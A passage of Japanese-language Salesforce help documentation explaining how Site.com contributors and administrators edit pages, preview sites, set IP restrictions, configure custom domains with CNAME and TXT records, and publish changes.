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寄稿者のページ編集ビューについて

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

[概要] タブで、ページをダブルクリックするか、ページ上にマウスを置いて
[ ] > [編集] をクリックして、サイトページを開きます。新規タブでページが
開きます。

• ツールバー (1) を使用して、次の操作を実行できます。
– アクションを元に戻すまたはやり直す。
– 画像およびファイルなどの納入商品をインポートする。
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– ブラウザウィンドウでサイトをプレビューする。
– ブランドエディタを使用して、ページの外観を更新する。

• [ページ要素] ペイン (2) を使用して、ページの編集可能な領域にコンテンツブロックとウィジェットをドラッ
グします (使用可能な場合)。

• ページキャンバス (3) では、ページテキストの編集や画像の追加ができます。編集可能な領域を使用できる
ときは、ページ要素をページにドラッグできます。

• ライブモードのオプション (4) を使用して、ページがライブのときに各種デバイスでのページの表示を確認
できます。

Site.com 寄稿者としてのサイトページの作成
寄稿者としてのコンテンツブロックの編集
コンテンツブロックには Web サイトページのテキストが含まれます。また、画像およびハイパーリンクも
格納できます。寄稿者として、インラインエディタを使用して編集可能なコンテンツブロックのテキスト
を編集できます。テキストをインラインで編集しているため、本番で編集完了後のページがどのように表
示されるかを常に正確に把握できます。
インライン編集ツールバーについて
寄稿者としてのテキストへの画像の追加
寄稿者として、インラインエディタを使用してページ上の編集可能なテキストエリアに画像をすばやく追
加できます。
寄稿者としてのテキストおよび画像へのハイパーリンクの追加
寄稿者として、インラインエディタを使用してページ上の編集可能なテキストエリアにあるテキストまた
は画像にハイパーリンクをすばやく追加できます。
寄稿者としてのページへのページ要素の追加
寄稿者として、ページの編集可能な領域にページ要素を追加できます。

関連トピック:

Site.com 寄稿者としてのサイトページの作成
寄稿者としての Site.com Studio の使用
インライン編集ツールバーについて
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Site.com 寄稿者としてのサイトページの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

サイト管理者またはデザイナがページ作成を有効にしている場合は、サイトに
ページを追加できます。
新しいページを追加する手順は、次のとおりです。
1. [概要] タブの [サイトページ] ビューで、[新規サイトページ] をクリックしま

す。
2. ページ名を入力します。
3. ページのテンプレートを選択します。
4. [作成] をクリックします。このサイトのページが開きます。

関連トピック:

寄稿者としての Site.com Studio の使用
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寄稿者としてのコンテンツブロックの編集

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

コンテンツブロックには Web サイトページのテキストが含まれます。また、画
像およびハイパーリンクも格納できます。寄稿者として、インラインエディタ
を使用して編集可能なコンテンツブロックのテキストを編集できます。テキス
トをインラインで編集しているため、本番で編集完了後のページがどのように
表示されるかを常に正確に把握できます。
編集可能なコンテンツブロックは、テキストの上にマウスを置くと灰色の境界
線が表示されます。この領域内のテキストのみ編集できます。
ページを開いた状態で、次の手順を実行します。
1. 編集するテキストエリアをダブルクリックします。

インラインエディタが表示されます。
2. テキストを追加または編集して、インラインエディタを使用して設定しま

す。
異なるフォント、強調表示などの書式設定をテキストに直接適用することは
できるだけ避けてください。直接適用するのではなく、段落スタイルおよび
見出しスタイルを使用して、サイト全体で一貫した書式設定を迅速に適用す
ることをお勧めします。また、これによりサイト管理者またはデザイナがサ
イトの段落スタイルおよび見出しスタイルを変更すると、すべてのページテ
キストが自動的に更新されます。

3. 必要に応じて、画像やハイパーリンクを追加します。
テキストエリアの外側の任意の場所をクリックすると、変更内容が自動的に保
存されます。

関連トピック:

モバイルデバイスに表示されるページのプレビュー
寄稿者のページ編集ビューについて

インライン編集ツールバーについて

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

寄稿者として、インラインエディタを使用してページ内の編集可能なテキスト
エリアを編集できます。編集可能な領域では、テキストの上にマウスを置くと
灰色の境界線が表示されます。
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インラインエディタを使用すると、次のことができます。
• 次を使用したテキストスタイルおよびレイアウトの制御 (1)

– 太字または斜体の書式設定を適用する
– 番号付きまたは箇条書きリストを挿入する

• 画像とハイパーリンクの追加、および不要な書式設定の削除 (2)

• ツールバーの展開 (3) および追加オプションへのアクセス (4 ～ 8)

• 編集を元に戻すまたはやり直す (4)

• 次を使用したテキストスタイルおよびレイアウトの制御 (5)

– 下線の書式設定を適用する
– テキストの配置を設定する
– blockquote の書式設定を適用する

• 段落のインデントの設定 (6)

• 段落および見出しスタイルの適用 (7)

• 強調表示などの追加スタイルの適用 (8)

ヒント: 異なるフォント、強調表示などの書式設定をテキストに直接適用することはできるだけ避けてく
ださい。直接適用するのではなく、段落スタイルおよび見出しスタイルを使用して、サイト全体で一貫
した書式設定を迅速に適用することをお勧めします。また、これによりサイト管理者またはデザイナが
サイトの段落スタイルおよび見出しスタイルを変更すると、すべてのページテキストが自動的に更新さ
れます。

関連トピック:

寄稿者としてのコンテンツブロックの編集
モバイルデバイスに表示されるページのプレビュー
寄稿者のページ編集ビューについて
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寄稿者としてのテキストへの画像の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

寄稿者として、インラインエディタを使用してページ上の編集可能なテキスト
エリアに画像をすばやく追加できます。
編集可能なテキストエリアでは、テキストの上にマウスを置くと灰色の境界線
が表示されます。この領域内にのみ画像を追加できます。
ページを開いた状態で、次の手順を実行します。
1. 編集するテキストエリアをダブルクリックします。

インラインエディタが表示されます。
2. 画像を挿入する位置にカーソルを置いて [ ] をクリックします。
3. [画像のプロパティ] ダイアログボックスの URL 項目に画像の URL を入力しま

す。
たとえば、サイトにアップロードした画像を追加するには、「[/]」を入力
し、その後に画像のファイル名 (/myimage.png など) を入力します。

4. [代替テキスト] 項目に画像の簡単な説明を入力します説明は、スクリーン
リーダーユーザまたはブラウザで画像を表示できない場合の代替テキストと
して使用されます。また、検索エンジン最適化 (SEO) に役立てることができ
ます。

5. 必要に応じて、ページのテキストに対して画像がどのように表示されるかを
プレビューし、次を設定します。
• 画像の幅と高さ
• 画像の境界線 (たとえば、幅 10 ピクセルの境界線を設定するには、[境界

線] 項目に「10」と入力)

• 画像の周囲を取り囲む余白量 (HSpace および VSpace プロパティで制御)

• ページのテキストに合わせた画像の位置揃え

6. [OK] をクリックします。
テキストエリアの外側の任意の場所をクリックすると、変更内容が自動的に保存されます。

関連トピック:

寄稿者としてのコンテンツブロックの編集
インライン編集ツールバーについて
モバイルデバイスに表示されるページのプレビュー
寄稿者のページ編集ビューについて
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寄稿者としてのテキストおよび画像へのハイパーリンクの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

寄稿者として、インラインエディタを使用してページ上の編集可能なテキスト
エリアにあるテキストまたは画像にハイパーリンクをすばやく追加できます。
編集可能なテキストエリアでは、テキストの上にマウスを置くと灰色の境界線
が表示されます。この領域内にのみハイパーリンクを追加できます。
ページを開いた状態で、次の手順を実行します。
1. 編集するテキストエリアをダブルクリックします。編集可能なテキストエリ

アでは、テキストの上にマウスを置くと灰色の境界線が表示されます。
インラインエディタが表示されます。

2. ハイパーリンクを追加するテキストまたは画像を選択し、[ ]をクリックし
ます。

3. リンクの種類を選択します。
• サイト内のページまたは項目、あるいは外部ページにリンクする手順は、

次のとおりです。
a. [URL] を選択します。
b. プロトコルを選択します。
c. URL項目で、サイト内の項目を選択するか、外部ページへのアドレス

(http://www.externalsite.comなど) を入力します。サイト項目リ
ストが表示されない場合は、URL項目にカーソルを置いてキーボード
の Down キーを押します。

• 以前にページに追加されたアンカーをリンクするには、[テキスト内のア
ンカーにリンク]を選択して、ドロップダウンリストでアンカーを選択し
ます。

• メールメッセージをリンクするには、[メール]を選択して、受信者のメー
ルアドレスとメッセージ情報を入力します。

4. [OK] をクリックします。
テキストエリアの外側の任意の場所をクリックすると、変更内容が自動的に保
存されます。

関連トピック:

寄稿者としてのコンテンツブロックの編集
インライン編集ツールバーについて
モバイルデバイスに表示されるページのプレビュー
寄稿者のページ編集ビューについて
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寄稿者としてのページへのページ要素の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

寄稿者として、ページの編集可能な領域にページ要素を追加できます。
ページ要素はサイトページのビルディングブロックです。コンテンツブロック
には Web サイトページのテキストが含まれます。また、画像およびハイパーリ
ンクを格納できます。ウィジェットは、デザイナまたはサイト管理者によって
作成されるカスタムページ要素です。ウィジェットが表示されない場合は使用
できません。
• 開いているページにページ要素を追加するには、その要素を [ページ要素] ペ

インから編集可能な領域にドラッグします。ページ要素を編集可能なページ
領域にドラッグすると、その領域が青の境界線で強調表示されます。青の境
界線が表示されない場合は、そのページに編集可能な領域がありません。

• ページ要素をページ上で移動するには、ページ要素を他の編集可能な領域に
ドラッグします。

• ページ要素を削除するには、 をクリックします。
ページにコンテンツブロックを追加したら、コンテンツブロックをダブルクリックして編集します。
ページにウィジェットを追加するときに、ダイアログボックスにウィジェットのプロパティを指定する必要の
ある場合があります。この操作により、変更が自動的に保存されます。ダイアログボックスを閉じるには、画
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面の他の領域をクリックします。プロパティについての詳細は、デザイナまたはサイト管理者にお問い合わせ
ください。

関連トピック:

寄稿者としてのコンテンツブロックの編集
寄稿者のページ編集ビューについて
モバイルデバイスに表示されるページのプレビュー

モバイルデバイスに表示されるページのプレビュー

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイト管理者、デザイナ、および寄稿者は、ライブモードを使用して、ページ
およびテンプレートが携帯電話やタブレットなどのデバイスでどのように表示
されるかをプレビューできます。
Site.com 寄稿者は、すべてのコンテンツ編集で自動的にライブモードになりま
す。寄稿者は、サイト管理者によってアクセス権が付与されたコンテンツブロッ
クを編集できます。
サイト管理者およびデザイナは、Site.com Studio ツールバーの [ライブ] または [設
計]をクリックして、ライブモードと設計モードを切り替えることができます。
サイト管理者およびデザイナのデフォルトビューは、設計モードです。
• ページの表示をプレビューする手順は、次のとおりです。

– スマートフォンでは、 をクリックします。
– タブレットでは、 をクリックします。
– コンピュータの画面では、 をクリックします。
– 幅と高さを 100% にする場合は、 をクリックします。

• 画面の幅を手動で調整するには、スライダ を移動させます。
• 画面の幅と高さを変更するには、フレームの端にあるサイズ変更ハンドルを

必要なサイズまでドラッグします。
• 頻繁に使用するカスタム画面サイズを保存するには、 をクリックして、

カスタムの測定値を入力します。
• 画面の方向を縦から横に変更するには、 をクリックします。

関連トピック:

寄稿者としてのコンテンツブロックの編集
寄稿者のページ編集ビューについて
デザイナまたはサイト管理者としての Site.com ページの編集
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Site.com サイトのプレビュー

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

寄稿者、デザイナ、サイト管理者はサイトページをプレビューして、ブラウザ
ウィンドウにどのように表示されるかを確認できます。プレビューにはライブ
サイトと同様にページが表示されるため、変更内容が正常に表示されることを
必ず確認することをお勧めします。
サイト管理者またはデザイナである場合は、サイトを稼働させる前に他のユー
ザがサイトをレビューできる匿名プレビュー URL も作成できます。URL は常に有
効 (ユーザが無効にしない限り) であり、進行中の最新の作業を表示します。こ
のプレビューは送信先のユーザにのみ表示されます。検索エンジンでは見つか
りません。
• ページを編集している場合は、ツールバーの [ページをプレビュー]をクリッ

クします。
• [概要] タブの [サイトページ] ビューのページにマウスポインタを置いて[ ] >

[プレビュー] をクリックすると、単一ページが表示されます。
• サイト全体を参照するには、[概要] タブのツールバーにある [プレビュー] を

クリックします。[プレビュー] メニューから、次の操作が可能です。
– [サイトを新しいタブでプレビュー]をクリックして、既存のブラウザウィ

ンドウの新しいタブでサイトを参照する。
– [サイトを 1024x768 でプレビュー] をクリックして、ラップトップユーザ

に表示されるサイトを参照する。
– サイト管理者またはデザイナである場合は、[匿名プレビューを有効化]を

クリックして、サイトを稼働させる前に他のユーザがサイトをプレビュー
できる URL を作成します。[プレビュー] メニューに表示される [匿名プレ
ビューを表示] オプションをクリックして、プレビュー URL にアクセスし
ます。この URL をコピーして、変更内容をレビュー、テストする他のユー
ザに送信できます。[匿名プレビューを有効化]は、[サイトの設定] ビュー
でも利用できます。

• Site.comホームページのサイトの横の [プレビュー]をクリックすると、サイト
全体が表示されます。

ページをプレビューする場合は、すべてのブラウザ関連機能が動作する必要が
あります。

メモ: プレビュー時にのみ、スタイルシートはインラインスタイルとして
表示されます。

関連トピック:

サイト管理者またはデザイナとしての Site.com Studio の使用
寄稿者としての Site.com Studio の使用

6189

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



Site.comIP 制限の概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

どのコンピュータにも、識別に使用する一意の IP アドレスがあります。IP 制限
を使用して、サイトのページ、フォルダ、アセットで許可される IP アドレスの
範囲を定義し、訪問者のアクセスを制御できます。
たとえば、部門別に全従業員の一覧を記載したサイトページがあるとします。
組織外のユーザにはこの機密情報を表示したくありません。許可する IP アドレ
スを組織の IP 範囲 (112.122.0.1 ～ 112.122.0.123 など) に制限することで、他のサイト
訪問者はページを参照できなくなります。
次の IP 制限を定義する場合、以下のようになります。
• 親ページテンプレート: すべての子ページテンプレートおよびテンプレート

に基づいたページでその制限が継承されます。
• フォルダ: フォルダ内のすべてのサブフォルダおよびアセットで制限が継承

されます。
• サイト全体: すべてのサイト項目で制限が継承されます。
IP 制限を継承する項目に IP 制限を追加して、許可される IP 範囲をさらに絞り込むことができます。
ページへのアクセスを拒否されたユーザを別のページ (ユーザが理解しやすいエラーページなど) にリダイレク
トできます。

Site.com の IP 制限の追加
許可される IP アドレスの範囲を設定し、サイトのページ、ページテンプレート、フォルダ、アセットへの
サイト訪問者のアクセスを制御できます。
Site.com の IP 制限の編集、無効化、削除

関連トピック:

Site.com の IP 制限の追加
Site.com の IP 制限の編集、無効化、削除
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Site.com の IP 制限の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.com の IP 制限を追加
および編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

許可される IP アドレスの範囲を設定し、サイトのページ、ページテンプレート、
フォルダ、アセットへのサイト訪問者のアクセスを制御できます。
1. [概要] タブで、次のいずれかの操作を実行します。

• [すべてのサイトのコンテンツ] ビューのページ、ページテンプレート、
フォルダ、アセットにマウスポインタを置いて [ ] > [IP 制限を追加] を
クリックします。

• [サイトの設定] > [IP 制限] をクリックして、[IP 制限を追加] をクリックし
ます。

2. アクセスを制限する項目を選択します (まだ選択していない場合)。
3. 許可される IP アドレス範囲の最初と最後の IP アドレスを入力します (112.122.0.1

～ 112.122.0.123 など)。1 つの IP アドレスを入力するには、単純に [開始アドレ
ス] 項目を入力します。
範囲を指定する IP アドレスは、両方とも IPv4 であるか、または IPv6 である必
要があります。範囲では、IPv4 アドレスは、IPv4 射影 IPv6 アドレス空間であ
る ::ffff:0:0 から ::ffff:ffff:ffff に存在します。::ffff:0:0 は 0.0.0.0、::ffff:ffff:ffff は 255.255.255.255

に対応します。IPv4 射影 IPv6 アドレス空間外の IP アドレスも範囲に含まれる
場合、IPv4 射影 IPv6 アドレス空間内の IP アドレスを含めることはできません。
たとえば、255.255.255.255 から ::1:0:0:0 または :: から ::1:0:0:0 の範囲は許可されま
せん。

4. さらに範囲を追加するには、[IP 範囲を追加] をクリックします。
5. 無効な IP アドレスのユーザを代替ページ (ユーザが理解しやすいエラーペー

ジなど) にリダイレクトするには、[「アクセスが拒否されました」ページ] で
ページを指定します。[IP 制限] ビューでこれを設定すると、項目レベルで上
書きしない限り、そのページがすべての IP 制限のデフォルトになります。
ユーザをサイト内のページまたは外部サイトにリダイレクトできます。外部 URL を入力する場合、必ず
http://などのプレフィックスを使用してください。「アクセスが拒否されました」ページを設定しない
と、空白のページがユーザに表示されます。このページには、デフォルトの「このリソースへのアクセス
は拒否されました」メッセージが表示されます。

6. [保存]をクリックします。
ページテンプレートやサイトページの IP 制限をテストするには、ページが開いたときに [プレビュー]をクリッ
クします。更新内容に問題がなければ、サイトを公開して、制限を有効にします。

メモ:

• IP 制限を継承する項目 (IP 制限フォルダのアセットなど) の場合、制限を追加して範囲をさらに絞り込
むことができます。継承された値は項目のどこにも表示されませんが、継承された IP 範囲の値は子項
目に適用され、有効な IP のサイト訪問者のみがアクセスできます。

• [「アクセスが拒否されました」ページ] ドロップダウンリストでサイトページを選択すると、サイト
全体が制限されていても、無効な IP アドレスのユーザはそのページを表示できます。
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• IP 制限のある項目では、キャッシュは無効になります。また、Akamai などのプロキシサーバで項目が
すでにキャッシュされている場合、アセット、フォルダ、ページの IP 制限を更新すると、その URL も
更新されます。

関連トピック:

Site.comIP 制限の概要
Site.com の IP 制限の編集、無効化、削除

Site.com の IP 制限の編集、無効化、削除

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.com の IP 制限を追加
および編集する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

Site.com サイトの IP 制限を作成したら、アドレス範囲の編集、IP 制限の一時的な
無効化 (ページへのアクセスの一時的な許可)、制限の完全な削除を行うことがで
きます。
サイトのすべての IP 制限を表示するには、([概要] タブの) [サイトの設定] の [IP 制
限] ビューを開きます。また、1 つの項目の IP 制限を表示するには、[すべてのサ
イトのコンテンツ] ビューの項目にマウスポインタを置いて [ ] > [IP 制限を編
集] をクリックします。
[IP 制限] セクションまたは [IP 制限] ダイアログボックスが開いている場合、次の
操作を実行できます。
• IP アドレスの範囲を編集する。[IP 制限] ビューで、IP アドレスをダブルクリッ

クして値をインライン編集します。
• IP 制限を非アクティブ化して無効にする。制限は、いつでも再度アクティブ

化することができます。複数の IP 制限のある項目の 1 つの制限を非アクティ
ブ化すると、その項目の他の制限も非アクティブ化されます。

• IP 制限を削除する。これにより、制限が完全に削除され、すべてのサイト訪
問者が項目にアクセスできるようになります。

サイトの IP 制限を更新したら、サイトを公開して、変更を有効にします。

関連トピック:

Site.comIP 制限の概要
Site.com の IP 制限の追加
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Site.com でのドメインの管理

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

サイトをインターネットに公開するには、サイトのドメイン情報を設定する必
要があります。
サイトのドメインリストにドメインを追加するには、ユーザがドメイン名を所
有していることを Salesforce で確認する必要があります。選択する確認方法は、
ドメイン名が現在使用されているかどうかによって異なります。
• 新規ドメイン名を作成する場合、または現在使用されていないドメイン名を

使用する場合は、CNAME レコードを使用してドメイン名を追加します。
• 別の Web サイトですでに使用されているドメイン名を再利用する場合は、TXT

レコードを使用してドメイン名を追加します。既存の Web サイトでも、ドメ
イン名システム (DNS) A レコードが使用されている必要があります。

Site.com での CNAME レコードを使用したドメインの追加
Site.com での TXT レコードを使用したドメインの追加
サイトをインターネットに公開するには、まずサイトのドメイン情報を設定
する必要があります。現在使用されているドメイン名を再利用する場合は、
TXT レコードを使用してドメイン名を追加します。たとえば、既存のサイト
から新しい Site.com サイトに移行する場合、稼働する準備が整ったら新しい
サイトにシームレスに移行できます。この方法は、DNS A レコードを使用す
る既存のサイトにのみ適しています。
ライブサイトの公開および管理
サイトの変更の公開
Site.com でサイトを公開すると、サイトの訪問者がアクセスできるように、
ユーザがインターネット上でサイトのページやアセットを稼働状態にしま
す。
サイトをオフラインにする

関連トピック:

サイトの変更の公開
サイトをオフラインにする
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Site.com での CNAME レコードを使用したドメインの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

サイトをインターネットに公開するには、まずサイトのドメイン情報を設定す
る必要があります。新規ドメイン名を作成する場合、または現在使用されてい
ないドメイン名を追加する場合は、CNAME レコードを使用してドメイン名を追
加します。
www.mycompany.com のようなブランド化されたカスタム Web アドレスがまだ
ない場合は、ドメイン名登録機関を介して登録して作成します。
Site.comの各ドメイン名は一意にする必要があります。ドメイン名をサイトのド
メインリストに追加する際、およびサイトを公開する際に再び、Salesforceによっ
てドメイン名が確認されます。

ヒント: ドメインをインターネットで使用できるようにするには、最大 48

時間かかります。ただし、DNS プロバイダのアカウント管理設定の Time to

Live (TTL) 値を引き下げることで、この時間を短縮できます。新しい設定が
有効になる前に現在の残り時間が終了する必要があるため、稼働する数日
前にこの値を更新する必要があります。

カスタムパスをドメイン名に追加してカスタム URL を作成することもできます。
カスタム URL は、ドメインとカスタムパスで構成されます。複数のドメインで
同じパス名を使用できますが、同じドメイン内で複数回使用することはできま
せん。ドメインを追加する場合、パスに「/」を使用する必要があります。これ
はルートを示します。「/」の後にカスタム名を追加できますが、少なくとも
「/」を使用してルートを示す必要があります。たとえば、ドメイン名が
https://oursite.com で、パスが /products の場合、サイト URL は
https://oursite.com/products になります。カスタム URL をルートに追加
した場合、URL は https://oursite.com になります。

メモ: また、[設定] で [ドメイン管理] を使用して、ドメインおよびパスを管
理できます。

1. DNS プロバイダのアカウント管理設定で、CNAME レコードを作成します。CNAME レコードには、ドメイン
名、18 文字の組織 ID、およびサフィックス live.siteforce.com が含まれている必要があります。たとえば、ド
メイン名が www.mycompany.com で、組織 ID が 00dx00000000001aaa の場合、CNAME は
www.mycompany.com.00dx00000000001aaa.live.siteforce.com になります。組織 ID は、[設定] 内
の [ドメイン管理] の新しいドメインページにあります。

2. インターネット上で CNAME レコードを入手できる場合は、Site.com Studio を開き、[概要] タブで [サイトの設
定] > [ドメイン] をクリックします。

3. 表示されるテキストボックスに www.mycompany.com などのドメイン名を入力します。
4. 必要に応じてパス名を入力します。
5. [追加] をクリックします。
6. この操作を繰り返して、追加のドメイン名を追加します。たとえば、ユーザが入力する可能性のある一般

的なドメイン名のスペルミスを含めることができます。ドメイン名ごとに、対応する一意の CNAME レコー
ドを作成する必要があります。ドメイン名は最大 10 個追加できます。

7. 稼働する準備が整ったら、サイトを公開します。
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メモ:

• ドメインのメールサービスに MX レコードが設定されている場合、MX レコードに割り当てられている
ドメインを CNAME レコードに割り当てるドメインと同じにすることはできません。MX レコードと同
じドメインを使用して CNAME レコードを作成すると、メールサービスは無効になります。
たとえば、mydomain.com が MX レコードに割り当てられていて、このドメインを CNAME レコードに
も使用する場合は、代わりに www.mydomain.com を CNAME レコードに割り当てて、DNS プロバイダ
に mydomain.com を www.mydomain.com にリダイレクトさせることが推奨されます。

• 既存のドメイン情報を更新する場合は、その情報への変更を公開して、有効にする必要があります。
公開する変更がないというメッセージが表示される場合は、まずサイトのページを更新してから、変
更を公開します。

関連トピック:

Site.com での TXT レコードを使用したドメインの追加
Site.com でのドメインの管理

Site.com での TXT レコードを使用したドメインの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

サイトをインターネットに公開するには、まずサイトのドメイン情報を設定す
る必要があります。現在使用されているドメイン名を再利用する場合は、TXT レ
コードを使用してドメイン名を追加します。たとえば、既存のサイトから新し
いSite.comサイトに移行する場合、稼働する準備が整ったら新しいサイトにシー
ムレスに移行できます。この方法は、DNS A レコードを使用する既存のサイトに
のみ適しています。
Site.comの各ドメイン名は一意にする必要があります。ドメイン名をサイトのド
メインリストに追加する際、およびサイトを公開する際に再び、Salesforceによっ
てドメイン名が確認されます。

ヒント: ドメインをインターネットで使用できるようにするには、最大 48

時間かかります。ただし、DNS プロバイダのアカウント管理設定の Time to

Live (TTL) 値を引き下げることで、この時間を短縮できます。新しい設定が
有効になる前に現在の残り時間が終了する必要があるため、稼働する数日
前にこの値を更新する必要があります。

1. DNS プロバイダのアカウント管理設定で、組織の ID を含む TXT レコードを作
成します。ID を検索するには、Site.com Studioを開き、[概要] タブで [サイトの
設定] > [ドメイン] をクリックして、そこに表示された組織 ID をコピーしま
す。
TXT レコードの作成方法がわからない場合は、DNS プロバイダにお問い合わせ
ください。

2. インターネット上で TXT レコードを入手できる場合は、ドメインビューに表
示されるテキストボックスに www.mycompany.comなどのドメイン名を入力
し、[追加] をクリックします。
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3. この操作を繰り返して、追加のドメイン名を追加します。たとえば、ユーザが入力する可能性のある一般
的なドメイン名のスペルミスを含めることができます。
ドメイン名は最大 10 個追加できます。

4. 準備が整ったら、Site.comサイトを公開します。サイトはまだインターネット上で稼働状態になっていませ
ん。

5. 稼働させるには、DNS アカウント管理設定で次の操作を行ないます。
a. 次の条件を満たす CNAME を作成します。CNAME レコードには、ドメイン名、18 文字の組織 ID、およびサ

フィックス live.siteforce.com が含まれている必要があります。たとえば、ドメイン名が www.mycompany.com

で、組織 ID が 00dx00000000001aaa の場合、CNAME は
www.mycompany.com.00dx00000000001aaa.live.siteforce.com になります。組織 ID は、[設定]

内の [ドメイン管理] の新しいドメインページにあります。
b. 古い A レコードおよびステップ 1 で作成した TXT レコードを削除します。

関連トピック:

Site.com での CNAME レコードを使用したドメインの追加
Site.com でのドメインの管理
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ライブサイトの公開および管理

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

Site.comでサイトを公開すると、サイトの訪問者がアクセスできるように、ユー
ザがインターネット上でサイトのページやアセットを稼働状態にします。
最初にサイトを公開する前に、サイトのドメイン情報を設定する必要がありま
す。ドメインを設定しない場合、公開のためにドメインを設定するように要求
するメッセージが表示されます。ドメインの設定後、サイト全体または一部を
公開できます。
サイトを使用する場合、次の操作を実行できます。
• サイトの変更を公開する。
• [概要] タブの [ ] > [詳細を参照] をクリックして、変更履歴を確認する。
• 公開ビューからサイトを削除するために、サイトをオフラインにする。

メモ: Sandbox からサイトを公開することはできません。

関連トピック:

サイト管理者またはデザイナとしての Site.com Studio の使用
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サイトの変更の公開

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

Site.comでサイトを公開すると、サイトの訪問者がアクセスできるように、ユー
